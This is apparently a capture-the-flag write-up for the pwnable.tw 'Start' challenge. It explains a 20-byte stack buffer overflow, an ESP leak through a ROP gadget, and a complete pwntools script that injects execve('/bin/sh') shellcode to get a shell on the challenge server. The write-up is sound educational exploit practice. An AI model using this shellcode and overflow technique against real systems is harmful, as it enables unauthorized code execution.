Start [100 pts]
Just a start.nc chall.pwnable.tw 10000
First, we check file info:
It’s a .elf file (I only use it for open IDA correctly). Now we should open disassembler like IDA Pro.
We have two funcion: _start
and _exit
.
As you can see, it firsts push esp, and push address _exit
fuction, then push 5 times hex numbers. If you look closer by convert it to string, that’s the string “Let’s start the CTF:” at the beginning of the program.
int 80
is a system call in Linux, you can read it more at here.
It depends on the number before to make a move. E.g: the number before first instruction int 80
at 0804808F
is 4, it means sys_write; the number before the second is 3, it is sys_read.
The program lets you type 60 bytes, but it only accepts 20 bytes. Therefore, you can see maybe it has buffer overflow here.
First payload I use buffer overflow to make it returns to ROP gadget (0x08048087).
Note: Payload 1: “aaaaaaaaaaaaaaaaaaaa\x87\x80\x04\x08”
And then it will print out esp address in stack. Having that address, I can put the shellcode into that.
When comes the retn;
instruction, ESP is pointing to address has 0x08048087, so next EIP is 0x08048087.
[About shellcode] You can find shellcode at here. For me, I use this.
Note: Payload 2: ‘A’ * 20 + p32(esp_add + 20) + shellcode
If you are wondering why in payload (maybe only me, so sad) esp_add + 20
, it’s because that where shellcode is. Why is 20? The program will do this instruction: add esp 14h
.
Source code for pwn: Run it with python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
conn = remote("chall.pwnable.tw", 10000)
conn.recv(20)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = 'A'* 20 + p32(0x08048087)
conn.send(payload)
esp_add = conn.recv(20)
esp_add = u32(esp_add[0:4])
payload = 'A' * 20 + p32(esp_add + 20) + shellcode
conn.send(payload)
conn.interactive()
conn.close()
Tesing Box Success